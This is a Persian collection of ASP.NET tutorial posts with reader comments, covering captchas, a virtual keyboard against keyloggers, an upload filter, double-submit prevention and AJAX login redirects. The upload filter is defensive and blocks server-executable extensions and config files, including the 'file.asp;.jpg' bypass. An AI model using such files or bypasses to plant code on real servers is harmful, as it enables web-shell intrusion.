هفته پیش کپچای سایت این مشکل را داشت ولی الان برطرف شده.

نویسنده: وحید نصیری
تاریخ: ۱۳۹۱/۰۹/۰۸ ۱۶:۱۲

گیرم اصلا این کپچا نباشد. با anti forgery-token می‌خواهید چکار کنید؟ با ماژول آنتی داس چطور و خیلی مسایل دیگر.
خلاصه صرف اینکه در داخل یک مرورگر به کمک یک افزونه برای مدت کوتاهی توانستید اطلاعاتی را شبیه سازی کنید به این معنا نیست که قابلیت استفاده وسیع و خارج از مرورگر را هم به سادگی دارا است (مثلا بروت فورس پسورد کاربران). تا حد شبیه سازی کامل رفتار یک مرورگر باید پیش برید (و ... اصلا کار ساده‌ای نیست).

نویسنده: رحمت اله رضایی

تاریخ: ۱۳۹۱/۰۹/۰۸ ۲۱:۵۴

هدف من از طرح این مساله این بود که نمایش تصویر امنیتی بدون در نظر گرفتن این مورد هیچ فایده ای برای سایت نخواهد داشت و کار به ماژول آنتی داس و مشکلات مربوط به آن کشیده می‌شود (یک لایه عقب تر).
در واقع کپچا یک تصویر تزیینی می‌شود.

دستکاری اطلاعات ارسالی به سرور، فقط در اینجا مطرح نیست. عمده مورد استفاده آن در ویرایش idها (مثلا در DropDownList ها) ست. (ثبت نام مسکن برای شهری که هنوز ثبت نام آن فعال نشده، خرید بلیت جایگاه ویژه برای یک کنسرت، پرداخت بیمه با دستکاری هزینه و ...)

نویسنده: داود حنیفی
تاریخ: ۱۳۹۱/۰۹/۲۱ ۹:۵

با سلام
ببخشید این مورد تو vs2012 چطور کار میکنه؟
تست من تو vs2012 جواب نداد.
با تشکر از زحماتتون.

نویسنده: مهدی پایروند
تاریخ: ۱۳۹۱/۰۹/۲۱ ۹:۴۶

من این مثال رو با VS2012 باز کردم مشکلی نداشت

نویسنده: داود حنیفی
تاریخ: ۱۳۹۱/۰۹/۲۱ ۱۰:۳۴

ببخشید من اشتباه کردم.منظورم با (.net 4.5) بود.

نویسنده: مهدی پایروند
تاریخ: ۱۳۹۱/۰۹/۲۱ ۱۰:۵۰

با اون دات نت 4.5 هم مشکلی نداشت
اگه کارتون با نمونه پروژه تبدیل شده راه میوفته من اونو تو این لینک گذاشتم
PersianCaptcha_2012-12-11_10-51-20.rar

نویسنده: مسعود
تاریخ: ۱۳۹۱/۱۱/۲۶ ۱۶:۱۹

سلام
لازم است در ابتدا بابت این پروژه تشکر کنم.
من مشکلی با این کپچا دارم و آن این است که روی محیط تست خودم کار می‌کند اما زمانی که آن را پابلیش می‌کنم و روی سرور اصلی قرار می‌دهم، تصویر کپچا نمایش داده نمی‌شود.
لازم به ذکر است که از پروتوکل https استفاده می‌کنم.

با تشکر

نویسنده: وحید نصیری
تاریخ: ۱۳۹۱/۱۱/۲۶ ۱۶:۵۴

یک حدس از راه دور:

تنظیم پیش فرض این پروژه در وب کانفیگ مربوط به IIS6 است (system.web/httpHandlers). برای IIS7 تنظیم جداگانه‌ای (system.webServer/handlers) نیاز دارد.

نویسنده: مسعود
تاریخ: ۱۳۹۱/۱۱/۲۶ ۱۷:۲۳

سلام
ممنون از پاسختون.
اما IIS من ۷ است و موردی رو هم که فرمودید پیش از این چک کردم ولی تغییری حاصل نشده بود.

نویسنده: مسعود
تاریخ: ۱۳۹۱/۱۱/۲۶ ۱۷:۳۲

با راه اندازی مجدد IIS مشکل رفع شد.

ممنون

نویسنده: مرتضی مختاری
تاریخ: ۱۳۹۲/۱۰/۲۲ ۱۶:۱۶

سلام؛ بنده آخر متوجه نشدم که از کپچا به این صورت استفاده کنیم یا نه؟
استفاده از expiration time به نظر من جواب نمیده چون توسط ربات تویه عرض یک دقیقه میشه هزار تا comment ثبت کرد.فکر کنم استفاده از captcha به همین روش و استفاده از anti forgery-token هیچ مشکل امنیتی نداشته باشه. شما چطوری مشکل این روش رو برطرف کردید؟ با تشکر

نویسنده: وحید نصیری
تاریخ: ۱۳۹۲/۱۰/۲۲ ۱۶:۲۱

نمونه بهبود یافته مطلب جاری در اینجا « نحوه ایجاد یک تصویر امنیتی (Captcha) با حروف فارسی در ASP.Net MVC »

عنوان: **صفحه کلید مجازی برای ورود اطلاعات**
نویسنده: صابر فتح الهی
تاریخ: ۱۳۹۱/۰۹/۰۶ ۹:۱۵
آدرس: www.dotnettips.info
گروه‌ها: ASP.Net, JavaScript, ASP.Net MVC, ASP.Net 4.5, Security

همانگونه که اطلاع دارید یکی از روش‌های سرقت اطلاعات استفاده از نرم افزارهای جاسوس صفحه کلید (Key Logger) است، البته ثبت کلیدهای فشرده شده می‌تواند توسط سخت افزارهایی که سر راه سوکت صفحه کلید و کیس قرار می‌گیره، انجام بشه. در صورتی که چنین سخت افزاری (مخصوصا در کافی نت‌ها) روی کامپیوتر کاربر نصب باشه، یا توسط ویروس و بدافزارها اینگونه نرم‌افزارهایی روی سیستم کاربر قرار بگیره هر کلیدی که توسط کاربر روی صفحه کلید فشرده میشه توسط اینها ثبت شده و در موقع مناسب برای فرد سازنده به طریقی (ایمیل یا ارتباط از طریق برنامه‌های مبتنی بر سوکت) حتی بسیاری از این برنامه‌ها پا را فراتر گذاشته و عنوان پنجره ای که کلیدها در آن فشرده شده نیز ثبت می‌شود (توسط توابع API ویندوز- البته اگر دوستان مایل باشن و از نظر مدیریت سایت ایرادی نداشته باشه، نحوه طراحی این نوع برنامه‌های جاسوس سخت افزار، صفحه کلید، یا ماوس آموزش می‌دم توی همین سایت)، حال برای امنیت برنامه‌های تحت وب یا ویندوز چگونه می‌توان در زمان ورود اطلاعات حساس مانند کلمه عبور یا شماره کارت اعتباری این امنیت را برای کاربر ایجاد کرد که داده‌هایش توسط این سخت افزارها یا بدافزارها جایی ثبت نشود؟

بله، حدس شما درست است استفاده از صفحه کلیدهای مجازی میشه گفت یکی از بهترین راه‌های ممکن هست، چون در این روش‌ها کلید به صورت سخت افزاری فشرده نمی‌شود (کلید فشرده شده به صف پیام‌های ویندوز نمی‌رود) در نتیجه نرم افزارها یا سخت افزارهای جاسوس نمی‌توانند این اطلاعات را ثبت کنند. و کاربر با خیال راحت می‌تواند داده‌های خود را وارد نمایند (تاکید می‌کنم این روش فقط جلو این نرم افزارها یا سخت افزارها را می‌گیرد و تضمینی برای اینکه در زمان ارسال داده‌های شما لو نرود ندارد).

خوب حال چه باید کرد؟

یک راه می‌تواند پیاده‌سازی صفحه کلید مجازی با کدهای طرف کلاینت مانند جاوا اسکریپت و وی‌بی اسکریپت است، اما گروهی پلاگینی را توسعه داده‌اند که با چند خط کدنویسی ساده به راحتی می‌توانید یک صفحه کلید مجازی چندزبانه (با هر زبانی که دلتون می‌خواد) داشته باشید و از اون در برنامه‌های خودتون استفاده کنید.

نحوه‌ی نصب:

ایتدا فایل‌های مورد نیاز را از سایت سازنده که شامل فایل جاوا اسکریپت ، فایل استایل و یک تصویر (آخرین نسخه) یا از این آدرس به صورت کامل (در حال حاضر نسخه 1.49) دریافت کرده، پس از دریافت فایل‌ها آنها را در هاست خود بارگزاری (آپلود) نمائید. سپس کدهای زیر را در صفحه‌ای که می‌خواهید صفحه کلید نمایش یابد در بین تگ <head> ... و </head> قرار دهید.

```
<script type="text/javascript" src="keyboard.js" charset="UTF-8"></script>
<link rel="stylesheet" type="text/css" href="keyboard.css">
```

حالا فقط کافی است به inputboxها و یا هر ورودی دیگر خود class=keyboardInput بدهید.

مثال:

```
<input type="text" value="" class="keyboardInput">
```

در نهایت کد صفحه شما باید اینگونه باشد:

```
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
    <title></title>
    <script type="text/javascript" src="keyboard.js" charset="UTF-8"></script>
    <link rel="stylesheet" type="text/css" href="keyboard.css"/>
</head>
<body>
    <input type="text" value="" class="keyboardInput"/>
</body>
```

```
</html>
```

با این کار پس از اجرای صفحه مورد نظر خروجی شما مانند تصویر زیر خواهد بود، جهت محدود کردن کلیدها و عملیات دلخواه و سفارشی سازی با پارامترهای دلخواه می‌تواند از دموهای موجود در سایت سازنده بهره بگیرید.

موفق وموید باشید.

نظرات خوانندگان

نویسنده: مجتهدی
تاریخ: ۱۳۹۱/۰۹/۰۶ ۱۸:۰

سلام
تا جایی که یادم میاد، برنامه هایی هم بودن که نقاطی که موس روشون کلیک کرده بود رو ذخیره می‌کردن (چطوریش رو نمی‌دونم!)
اگه همچین برنامه هایی وجود داشته باشن حتی اگه مثل صفحات پرداخت آنلاین بانک‌ها که جای ۱۰ کاراکتر عدد، تغییر می‌کنه، با آنالیز شماره کارت‌ها و مسائلی از قبیل اینکه هر بانک با شماره خاصی شروع می‌شه و... ، فکر کنم بدست آوردن اطلاعات حساس کار سختی نباشن...
درست می‌گم؟

نویسنده: صابر فتح الهی
تاریخ: ۱۳۹۱/۰۹/۰۷ ۱۱:۵۸

دوست من کار نشد نداره، امنیت نسبی هست
بله میشه این کار انجام داد به راحتی امکان پذیر هست، اما ذخیره نقاط چه کاربردی می‌تونی داشته باشه؟

نویسنده: امیرحسین مرجانی
تاریخ: ۱۳۹۱/۰۹/۰۷ ۱۶:۴۶

مطلب مفیدی بود.
ممنونم

نویسنده: nojirom
تاریخ: ۱۳۹۱/۱۰/۱۹ ۱۵:۵۸

با تشکر از آقای فتح اللهی عزیز بابت این مطلب فقط زبان پیش فرض کیبورد راچگونه فارسی تنظیم کنیم

نویسنده: صابر فتح الهی
تاریخ: ۱۳۹۱/۱۰/۲۰ ۷:۳۷

سلام
دوست من در فایل اسکریپت مزبوطه اوایل فایل این خط پیدا کرده

```
this.VKI_kts = this.VKI_kt = "US International";  // Default keyboard layout
```

و آن را به هر زبانی که دلخواه شماست تغییر دهید مثلا برای فارسی اینگونه است:

```
this.VKI_kts = this.VKI_kt = "\u0641\u0627\u0631\u0633\u06cc";  // Default keyboard layout
```

البته من توی همون فایل "fa" جستجو کردم و عنوان اون در این قسمت قرار دادم
موفق وموید باشید

نویسنده: حیدری
تاریخ: ۱۳۹۱/۱۲/۱۸ ۲۰:۵۶

سلام

مرسی ، دستتون درد نکنه
ایشالا همیشه موفق باشید

نویسنده: مرتضی محمودی
تاریخ: ۱۳۹۲/۰۸/۲۴ ۲۰:۱۵

درود
منو راهنمایی کنین که چطور از این کلاس برای RadTextBox یا دیگر Inputهای تلریک استفاده کنم
باتشکر....

نویسنده: محسن خان
تاریخ: ۱۳۹۲/۰۸/۲۴ ۲۰:۵۷

چه فرقی می‌کنه؟ به خاصیت یا کلاس CSS اش مقدار keyboardInput رو نسبت بده. تمام این کنترل‌های مصنوعی، نهایتا به inputهای استاندارد HTML تبدیل و رندر می‌شن. وگرنه مرورگر نمی‌تونه اون‌ها رو تشخیص بده یا پردازش کنه.

نویسنده: مرتضی محمودی
تاریخ: ۱۳۹۲/۰۸/۲۴ ۲۲:۲

آخه سمت سرور که میره دیگه کلاس میپره. من تکست هام داخل AjaxPanel هست.

نویسنده: محسن خان
تاریخ: ۱۳۹۲/۰۸/۲۴ ۲۳:۱۲

دوباره باید بایندش کنی.

نویسنده: مهیار نظری پور
تاریخ: ۱۳۹۳/۰۴/۲۵ ۱۹:۱۳

بی نهایت درود؛ بنده، به یک کیبورد، به شکل کِی پَد (تنها اعداد، بصورت ماشین حسابی) نیازمندم.
برای درج در فیلد "شماره تماس" فُرم رزروشِن سایتم.
در نت خیلی گشتم، امّا چیزی نیافتم.
دقیقاً چیزی مثل کِی پَد درگاه آنلاین بانک، که برای درج شماره حساب و این‌ها بکار میره روی سایت.

نویسنده: صابر فتح الهی
تاریخ: ۱۳۹۳/۰۴/۲۷ ۰:۳۹

سلام
خوب میتوانید از همان کدهای درگاه بانک الگو برداری کنید
تلاشتون بکنید اگر نتوانستید من کدش براتون بگیرم
موفق و موید باشید

عنوان: **کنترل عمومی فایل‌های آپلودی در ASP.NET MVC**
نویسنده: وحید نصیری
تاریخ: ۱۳۹۱/۰۹/۰۹ ۱۳:۲
آدرس: www.dotnettips.info
گروه‌ها: MVC, Security

در مطلب « محدود کردن کاربرها به آپلود فایل‌هایی خاص در ASP.NET MVC » تصمیم گیری بر اساس یک لیست سفید صورت می‌گیرد. برای مثال کاربران فقط قرار است تصویرهایی از نوع png یا jpg را ارسال کنند. اکنون نیاز است حالت کلی‌تری را درنظر بگیریم که کاربر قرار است هر نوع فایل دلخواهی را ارسال کند. در اینجا نباید امکان آپلود هر نوع فایلی، خصوصا فایل‌های اجرایی ASP.NET یا هر نوع موتور اجرایی دیگری که ممکن است روی سرور نصب باشد (مثلا PHP)، وجود داشته باشد. برای این منظور فیلتر دیگری به نام AllowUploadSafeFiles طراحی شده است که سورس آن‌را در ذیل مشاهده می‌کنید:

```
using System;
using System.Linq;
using System.Collections.Generic;
using System.IO;
using System.Web.Mvc;

namespace SecurityModule
{
    [AttributeUsage(AttributeTargets.Method, AllowMultiple = false)]
    public sealed class AllowUploadSafeFilesAttribute : ActionFilterAttribute
    {
        static readonly IList<string> ExtToFilter = new List<string> {
            ".aspx", ".asax", ".asp", ".ashx", ".asmx", ".axd", ".master", ".svc", ".php" ,
            ".php3" , ".php4", ".ph3", ".ph4", ".php4", ".ph5", ".sphp", ".cfm", ".ps", ".stm",
            ".htaccess", ".htpasswd", ".php5", ".phtml", ".cgi", ".pl", ".plx", ".py", ".rb", ".sh",
".jsp",
            ".cshtml", ".vbhtml", ".swf" , ".xap", ".asptxt"
        };

        static readonly IList<string> NameToFilter = new List<string> {
           "web.config" , "htaccess" , "htpasswd", "web~1.con"
        };

        static bool canUpload(string fileName)
        {
            if (string.IsNullOrWhiteSpace(fileName))
                return false;

            fileName = fileName.ToLowerInvariant();
            var name = Path.GetFileName(fileName);
            var ext = Path.GetExtension(fileName);

            if (string.IsNullOrWhiteSpace(name))
                throw new InvalidOperationException("Uploaded file should have a name.");

            return !ExtToFilter.Contains(ext) &&
                   !NameToFilter.Contains(name) &&
                   !NameToFilter.Contains(ext) &&
                   //for "file.asp;.jpg" files
                   ExtToFilter.All(item => !name.Contains(item));
        }

        public override void OnActionExecuting(ActionExecutingContext filterContext)
        {
            var files = filterContext.HttpContext.Request.Files;
            foreach (string file in files)
            {
                var postedFile = files[file];
                if (postedFile == null || postedFile.ContentLength == 0) continue;

                if (!canUpload(postedFile.FileName))
                    throw new InvalidOperationException(string.Format("You are not allowed to upload
{0} file.", Path.GetFileName(postedFile.FileName)));
            }

            base.OnActionExecuting(filterContext);
        }
    }
}
```

در این فیلتر، یک سری پسوند خطرناک مانند aspx، asp و امثال آن فیلتر می‌شوند و اجازه آپلود نخواهند یافت. همچنین فایل‌هایی

مانند web.config یا نام داسی آن معادل web~1.con نیز فرصت آپلود نخواهد یافت.

استفاده از این فیلتر سفارشی به نحو زیر است:

```
[AllowUploadSafeFiles]
public ActionResult UploadFile(HttpPostedFileBase file)
```

نظرات خوانندگان

نویسنده: مریم
تاریخ: ۱۳۹۳/۰۷/۰۲ ۸:۲

سلام
ایا می‌توان این پیام خطا را به در یک صفحه خاص نمایش داد.یا اینکه با addModelError انرا به Modelstate مربوط به یک action خاص اضافه کرد؟

نویسنده: وحید نصیری
تاریخ: ۱۳۹۳/۰۷/۰۲ ۹:۵۹

صدور استثناء را با filterContext.Controller.ViewData.ModelState.AddModelError تعویض کنید.

عنوان: **غیر فعال کردن یک دکمه در حین انجام پردازش های سمت سرور**
نویسنده: پژمان پارسائی
تاریخ: ۱۳۹۱/۰۹/۱۲ ۵:۴۹
آدرس: www.dotnettips.info
گروه‌ها: ASP.Net, JavaScript, Security

بعضی مواقع بهتر است یک دکمه در حال انجام پردازش‌های سمت سرور غیر فعال شود و وقتی عملیات سمت سرور به پایان رسید این دکمه دوباره فعال شود. غیر فعال کردن یک دکمه به این دلیل انجام می‌شود که از postbackهای مجدد در حین postback شدن صفحه جلوگیری شود.
فرض کنید در رویداد کلیک یک دکمه کدی نوشته اید که اطلاعات یک دانشجو را ذخیره کند. کاربر نرم افزار بعد از یک بار کلیک روی دکمه، درخواستی به سرور می‌فرستد و این باعث می‌شود کدهای درون رویداد کلیک دکمه اجرا شوند، به دلیل این که کاملا این کدها اجرا نشده اند، صفحه هم postback نشده است. کاربر به هر دلیل صبر نمی‌کند تا این پردازش تمام شود (شاید او نمی‌داند عملیاتی در سمت سرور در حال اجرا شدن هست چون پیغامی به او نشان داده نشده است)، در نتیجه باز هم روی همین دکمه کلیک می‌کند و باعث می‌شود در حین پردازش کدهای درون دکمه توسط سرور، دوباره درخواستی به سمت سرور فرستاده شود و باز هم کدهای درون همین دکمه به اجرا در آیند. به عبارت بهتر در حین postback شدن صفحه دوباره درخواست postback کردن صفحه را می‌دهد و سرور هم در حین انجام کدهای درون دکمه با درخواست قبلی، دوباره کدهای درون رویداد کلیک را اجرا می‌کند. در این مثال این کار باعث می‌شود کدهای رویداد کلیک دکمه، به تعداد کلیک‌های انجام شده اجرا شوند. در نتیجه به همین تعداد می‌تواند یک دانشجوی مستقل در دیتابیس ذخیره شود. این می‌تواند مشکلات بسیاری را همراه داشته باشد.

به همین دلیل بهتر است با کلیک روی این دکمه این کارها اتفاق بیفتند:
الف) غیرفعال کردن دکمه در حین انجام پردازش‌های سمت سرور
ب) نشان دادن یک پیغام به کاربر در حین انجام پردازش‌های سمت سرور
ج) فعال کردن دکمه بعد از انجام پردازش‌های سمت سرور

برای غیرفعال کردن دکمه در حین انجام پردازش‌های سمت سرور نمی‌توان از کدهای سمت سرور استفاده کرد. چون تا کاملا صفحه postback نشود نمی‌توان این کدها را به صفحه اعمال کرد. پس این گزینه کنار می‌رود.
راه حل بسیار خوب استفاده از جاوا اسکریپت است. مثال زیر را ببینید:

```
<asp:Button runat="server"
            ID="btnProcess"
            Text="پردازش"
            onclick="btnProcess_Click"
            OnClientClick="this.disabled = true; this.value = 'در حال پردازش اطلاعات ...';"
            UseSubmitBehavior="false"
             />
<asp:Label runat="server" ID="lblMessage" Text=""></asp:Label>
```

در رویداد OnClientClick کارهای (الف) و (ب) انجام می‌شوند و با false کردن مقدار رویداد UseSubmitBehavior کار (ج) انجام می‌شود.

و در رویداد کلیک دکمه کد زیر را بنویسید:

```
protected void btnProcess_Click(object sender, EventArgs e)
{
    // insert student in database
    System.Threading.Thread.Sleep(2000);
    lblMessage.Text = "پردازش اطلاعات به پایان رسید";
}
```

در این رویداد باید یک دانشجو اضافه شود. برای ایجاد یک پردازش سمت سروری دو ثانیه ای از متد Sleep استفاده شده است.

کد برگرفته شده از : dotnetforum.lk

نظرات خوانندگان

نویسنده: مجتبی صحرائی
تاریخ: ۱۳۹۱/۰۹/۱۲ ۶:۹

به نظر میاد وقتی تو صفحه validator داشته باشیم و validator جلوی postback شدن صفحه رو تحت شرایطی میگیره؛ دکمه در حالت غیر فعال باقی خواهد موند

نویسنده: پژمان پارسائی
تاریخ: ۱۳۹۱/۰۹/۱۲ ۷:۳۱

در صورتی که بتونیم با بررسی‌های سمت سروری جلوی postbackهای همزمان رو بگیریم امنیت بالاتری خواهیم داشت.
(منظورم استفاده از custom validator هست که در سمت سرور و بسته به شرایطی که گفتید validate می‌شود)

نویسنده: وحید نصیری
تاریخ: ۱۳۹۱/۰۹/۱۲ ۸:۳۸

برای رفع این مشکل (غیرفعال کردن سازگار با اعتبار سنجی سمت کاربر) باید به نحو زیر عمل کرد:

```
UseSubmitBehavior="false"
OnClientClick="if ((typeof(Page_ClientValidate) == 'function') && (Page_ClientValidate()==false)) {
return false;} this.disabled=true;"
```

نویسنده: صابر فتح الهی
تاریخ: ۱۳۹۱/۰۹/۲۴ ۲۰:۳۶

ممنون از کار شما
من این روش تست کردم اما زمانی که با یک تاییده همراه باشه کد تقریبا از کار می‌افته، صفحه به سرور پست میشه اما عملیاتی صورت نمی‌گیره.
کدی که نوشتم:

```
$("input[type=submit]").click(function () {
                if ((typeof (Page_ClientValidate) == 'function') && (Page_ClientValidate() == false)) {
                     return false;
                }
                if (!confirm("آیا مطمئن هستید؟"))
                    return false;
                this.disabled = true;
                this.value = 'در حال پردازش اطلاعات ...';
                return true;
            });
```

نویسنده: وحید نصیری
تاریخ: ۱۳۹۱/۰۹/۲۴ ۲۱:۱

در jQuery برای لغو ارسال به سرور، بهتر است بجای return false از e.preventDefault استفاده شود:

```
....click(function(e) {
        e.preventDefault() // stop the automatic form submission
```

نویسنده: صابر فتح الهی
تاریخ: ۱۳۹۱/۰۹/۲۵ ۸:۳۰

سلام این روش استفاده کردم (با return و بدون return)
اما جواب نمی‌ده و فرم ارسال میشه، عملیات هم انجام میشه چه کاربر تایید کنه یا نکنه

نویسنده: وحید نصیری
تاریخ: ۱۳۹۱/۰۹/۲۵ ۹:۴۱

```
<%@ Page Title="Home Page" Language="C#" MasterPageFile="~/Site.master" AutoEventWireup="true"
    CodeBehind="Default.aspx.cs" Inherits="WebAppSingleSubmit._Default" %>

<asp:Content ID="HeaderContent" runat="server" ContentPlaceHolderID="HeadContent">
    <script type="text/javascript">
        $(document).ready(function () {
            $("input[type=submit]").click(function (e) {
                if ((typeof (Page_ClientValidate) == 'function') && (Page_ClientValidate() == false)) {
                    return false;
                }
                if (!confirm("آیا مطمئن هستید؟")) {
                    return false;
                }
                this.disabled = true;
                this.value = 'در حال پردازش اطلاعات ...';

                __doPostBack($(this).attr('name'), '');
            });
        });
    </script>
</asp:Content>
<asp:Content ID="BodyContent" runat="server" ContentPlaceHolderID="MainContent">
    <p>
        <asp:TextBox ID="TextBox1" runat="server"></asp:TextBox>
        <asp:RequiredFieldValidator ID="RequiredFieldValidator1" runat="server"
ControlToValidate="TextBox1"
            ErrorMessage="RequiredFieldValidator"></asp:RequiredFieldValidator>
        <br />
        <asp:Button ID="Button1" runat="server" Text="Button" OnClick="Button1_Click" />
    </p>
</asp:Content>
```

نویسنده: بهاره
تاریخ: ۱۳۹۲/۱۱/۱۷ ۱۹:۴۴

سلام
آیا روشی هست که بشه جلوی کلیک کاربر روی دکمه‌ی refresh مرورگر (IE) را گرفت؟
امکانش هست که این دکمه را غیرفعال کرد؟

نویسنده: وحید نصیری
تاریخ: ۱۳۹۲/۱۱/۱۷ ۱۹:۵۴

« الگوی PRG در ASP.NET MVC »

نویسنده: بهاره
تاریخ: ۱۳۹۲/۱۱/۱۹ ۱۳:۵

ممنون. ولی من از MVC استفاده نمی‌کنم. پروژه در قالب SharePoint 2007 است. Redirect به 303 در asp.net وجود دارد؟

نویسنده: وحید نصیری
تاریخ: ۱۳۹۲/۱۱/۱۹ ۱۳:۲۸

- مهم داشتن یک ایده اولیه برای شروع و جستجو هست.
- معادل return RedirectToAction در آن کدها Response.Redirect است در وب فرم‌ها. مابقی اصول الگوی PRG تفاوتی نمی‌کند. البته Redirect در اینجا از status code=302 استفاده می‌کند؛ ولی اکثر مرورگرها آن‌را همانند 303 پردازش خواهند کرد.

نویسنده: امیر نوروزیان
تاریخ: ۱۳۹۳/۱۰/۱۹ ۱۳:۳۲

با سلام
در mvc چطوری این روش استفاده کنیم.

نویسنده: وحید نصیری
تاریخ: ۱۳۹۳/۱۰/۱۹ ۱۳:۳۶

نکته‌ی آن در این مطلب بحث شده: « استفاده از دکمه‌های CSS توئیتر در ASP.NET MVC - قسمت دوم »

عنوان: **هدایت خودکار کاربر به صفحه لاگین در حین اعمال Ajax ایی**
نویسنده: وحید نصیری
تاریخ: ۱۳۹۱/۰۹/۲۴ ۱۳:۱۷
آدرس: www.dotnettips.info
گروه‌ها: MVC, jQuery Ajax, Security

در ASP.NET MVC به کمک فیلتر Authorize می‌توان کاربران را در صورت درخواست دسترسی به کنترلر و یا اکشن متد خاصی در صورت لزوم و عدم اعتبارسنجی کامل، به صفحه لاگین هدایت کرد. این مساله در حین postback کامل به سرور به صورت خودکار رخ داده و کاربر به Login Url ذکر شده در web.config هدایت می‌شود. اما در مورد اعمال Ajax ایی چطور؟ در این حالت خاص، فیلتر Authorize قابلیت هدایت خودکار کاربران را به صفحه لاگین، ندارد. در ادامه نحوه رفع این نقیصه را بررسی خواهیم کرد.

تهیه فیلتر سفارشی SiteAuthorize

برای بررسی اعمال Ajaxایی، نیاز است فیلتر پیش فرض Authorize سفارشی شود:

```
using System;
using System.Net;
using System.Web.Mvc;

namespace MvcApplication28.Helpers
{
    [AttributeUsage(AttributeTargets.Class | AttributeTargets.Method, Inherited = true, AllowMultiple =
true)]
    public sealed class SiteAuthorizeAttribute : AuthorizeAttribute
    {
        protected override void HandleUnauthorizedRequest(AuthorizationContext filterContext)
        {
            if (filterContext.HttpContext.Request.IsAuthenticated)
            {
                throw new UnauthorizedAccessException(); //to avoid multiple redirects
            }
            else
            {
                handleAjaxRequest(filterContext);
                base.HandleUnauthorizedRequest(filterContext);
            }
        }

        private static void handleAjaxRequest(AuthorizationContext filterContext)
        {
            var ctx = filterContext.HttpContext;
            if (!ctx.Request.IsAjaxRequest())
                return;

            ctx.Response.StatusCode = (int)HttpStatusCode.Forbidden;
            ctx.Response.End();
        }
    }
}
```

در فیلتر فوق بررسی handleAjaxRequest اضافه شده است. در اینجا درخواست‌های اعتبار سنجی نشده از نوع Ajax ایی خاتمه داده شده و سپس StatusCode ممنوع (403) به کلاینت بازگشت داده می‌شود. در این حالت کلاینت تنها کافی است StatusCode یاده شده را مدیریت کند:

```
using System.Web.Mvc;
using MvcApplication28.Helpers;

namespace MvcApplication28.Controllers
{
    public class HomeController : Controller
    {
        public ActionResult Index()
        {
            return View();
        }

        [SiteAuthorize]
        [HttpPost]
        public ActionResult SaveData(string data)
```

```
        {
            if(string.IsNullOrWhiteSpace(data))
                return Content("NOk!");

            return Content("Ok!");
        }
    }
}
```

در کد فوق نحوه استفاده از فیلتر جدید SiteAuthorize را ملاحظه می‌کنید. View ارسال کننده اطلاعات به اکشن متد SaveData، در ادامه بررسی می‌شود:

```
@{
    ViewBag.Title = "Index";
    var postUrl = this.Url.Action(actionName: "SaveData", controllerName: "Home");
}
<h2>
    Index</h2>
@using (Html.BeginForm(actionName: "SaveData", controllerName: "Home",
                method: FormMethod.Post, htmlAttributes: new { id = "form1" }))
{
    @Html.TextBox(name: "data")
    <br />
    <span id="btnSave">Save Data</span>
}
@section Scripts
{
    <script type="text/javascript">
        $(document).ready(function () {
            $("#btnSave").click(function (event) {
                $.ajax({
                    type: "POST",
                    url: "@postUrl",
                    data: $("#form1").serialize(),
                    // controller is returning a simple text, not json
                    complete: function (xhr, status) {
                        var data = xhr.responseText;
                        if (xhr.status == 403) {
                            window.location = "/login";
                        }
                    }
                });
            });
        });
    </script>
}
```

تنها نکته جدید کدهای فوق، بررسی xhr.status == 403 است. اگر فیلتر SiteAuthorize کد وضعیت 403 را بازگشت دهد، به کمک مقدار دهی window.location، مرورگر را وادار خواهیم کرد تا صفحه کنترلر login را نمایش دهد. این کد جاوا اسکریپتی، با تمام مرورگرها سازگار است.

نکته تکمیلی:

در متد handleAjaxRequest، می‌توان یک JavaScriptResult را نیز بازگشت داد تا همان کدهای مرتبط با window.location را به صورت خودکار به صفحه تزریق کند:

```
filterContext.Result =  new JavaScriptResult { Script="window.location = '" + redirectToUrl + "'"};
```

البته این روش بسته به نحوه استفاده از jQuery Ajax ممکن است نتایج دلخواهی را حاصل نکند. برای مثال اگر قسمتی از صفحه جاری را پس از دریافت نتایج Ajax ایی از سرور، تغییر می‌دهید، صفحه لاگین در همین قسمت در بین کدهای صفحه درج خواهد شد. اما روش یاد شده در مثال فوق در تمام حالت‌ها کار می‌کند.

نظرات خوانندگان

نویسنده: mahdi1391
تاریخ: ۱۳۹۱/۰۹/۲۴ ۱۴:۲۶

با سلام
ممنون از این مطلب واقعاً کاربردی، عالی بود.
اما موضوع زیر بسیار در محیط عملیاتی اتفاق می‌افتد:
فرض کنید کاربری در یک اداره درحال پر کردن یک فرم از برنامه ما است که چند ده فیلد داره، و طبیعیه که ممکن در این بین به دنبال کاری بره و برگرده و بقیه فرم رو پرکنه و در نهایت دکمه ثبت رو بزنه، مشکلی که پیش میاد اینه که به صفحه لاگین هدایت میشه و وقتی دوباره به اون فرم بر میگرده تمام اطلاعاتی که وارد کرده بود از بین میره و این کاربر به نوعی از برنامه ما متنفر میشه. یکی از راه حل‌های این مشکل این است که به جای هدایت کاربر به صفحه لاگین، با یک jQuery Modal Dialog دوباره نام کاربری و کلمه عبور از کاربر دریافت بشه و اگر صحیح بود Dialog بسته بشه و اگر غلط بود همچنان Modal بمونه.

نویسنده: davmszd
تاریخ: ۱۳۹۱/۰۹/۲۵ ۱۰:۵۸

با درود؛
اگه من بخوام این چک رو برای تقریبا همه اکشن‌ها تو کل پروژه انجام بدم الا چند تا اکشن خاص چه روشی رو پیشنهاد میکنید
من یه کنترلر بیس دارم که تمام کنترلرهای برنامم از اون به ارث رفتن و توی اون متد OnActionExecuting رور override کردم و یه همچین چکی رو دارم انجام میدم .
به نظرتون این کار درسته ؟
راه بهتری وجود داره ؟
شما چه روشی رو پیشنهادمیکنید ؟

نویسنده: وحید نصیری
تاریخ: ۱۳۹۱/۰۹/۲۵ ۱۱:۴۷

- می‌تونید یک فیلتر رو به صورت سراسری تعریف کنید. باید در global.asax.cs تعریف شود: (^)
به این ترتیب به همه جا اعمال خواهد شد.

```
public static void RegisterGlobalFilters(GlobalFilterCollection filters)
{
    filters.Add(new SiteAuthorizeAttribute());
}
```

- در MVC4 برای معاف کردن تعدادی اکشن متد خاص از فیلتر سراسری یاد شده فقط کافی است از فیلتر جدید AllowAnonymous استفاده کنید.

نویسنده: شیرزادیان
تاریخ: ۱۳۹۱/۰۹/۲۵ ۲۳:۱۴

سلام؛
بسیار مفید و کارآمد بود. بازهم متشکرم

نویسنده: مهدی سعیدی فر
تاریخ: ۱۳۹۲/۱۱/۲۰ ۲۱:۱۲

